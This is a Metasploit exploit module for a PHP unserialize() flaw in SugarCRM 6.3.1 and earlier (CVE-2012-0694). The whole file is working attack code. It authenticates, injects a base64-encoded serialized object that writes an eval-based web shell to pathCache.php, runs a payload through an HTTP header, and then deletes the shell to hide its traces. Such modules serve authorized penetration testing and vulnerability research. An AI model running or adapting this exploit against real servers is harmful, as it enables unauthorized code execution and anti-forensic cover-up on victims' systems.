##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SugarCRM unserialize() PHP Code Execution',
        'Description' => %q{
          This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
          which could be abused to allow authenticated SugarCRM users to execute arbitrary
          code with the permissions of the webserver.

          The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
          script, which is called with user controlled data from the 'current_query_by_page'
          parameter. The exploit abuses the __destruct() method from the SugarTheme class
          to write arbitrary PHP code to a 'pathCache.php' on the web root.
        },
        'Author' => [
          'EgiX', # Vulnerability discovery and PoC
          'juan vazquez', # Metasploit module
          'sinn3r' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-0694' ],
          [ 'OSVDB', '83361' ],
          [ 'EDB', '19381' ],
          [ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'DisableNops' => true,
        },
        'Targets' => [ ['Automatic', {}], ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-06-23',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI',	[ true, "The base path to the web application", "/sugarcrm/"]),
        OptString.new('USERNAME', [true, "The username to authenticate with" ]),
        OptString.new('PASSWORD', [true, "The password to authenticate with" ])
      ]
    )

    self.needs_cleanup = true
  end

  def on_new_session(client)
    if client.type == "meterpreter"
      f = "pathCache.php"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      begin
        print_warning("Deleting #{f}")
        client.fs.file.rm(f)
        print_good("#{f} removed to stay ninja")
      rescue
        print_warning("Unable to remove #{f}")
      end
    end
  end

  def exploit
    base = normalize_uri(target_uri.path)

    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    # Can't use vars_post because it'll escape "_"
    data = "module=Users&"
    data << "action=Authenticate&"
    data << "user_name=#{username}&"
    data << "user_password=#{password}"

    res = send_request_cgi(
      {
        'uri' => normalize_uri(base, "index.php"),
        'method' => "POST",
        'headers' =>
          {
            'Cookie' => "PHPSESSID=1",
          },
        'data' => data
      }
    )
    if res.nil? || (res.headers['Location'] && res.headers['Location'].include?('action=Login')) || res.get_cookies.empty?
      fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"")
    end

    if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
      session_id = $1
    elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
      session_id = $1
    else
      fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
    end

    print_good("Login Successful (#{username}:#{password})")

    data = "module=Contacts&"
    data << "Contacts2_CONTACT_offset=1&"
    data << "current_query_by_page="
    # O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}
    data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="

    print_status("Exploiting the unserialize()")

    res = send_request_cgi(
      {
        'uri' => "#{base}index.php",
        'method' => 'POST',
        'headers' =>
        {
          'Cookie' => "PHPSESSID=#{session_id};",
        },
        'data' => data
      }
    )

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Exploit failed: #{res.code}")
    end

    print_status("Executing the payload")

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => "#{base}pathCache.php",
        'headers' => {
          'Cmd' => Rex::Text.encode_base64(payload.encoded)
        }
      }
    )
  end
end
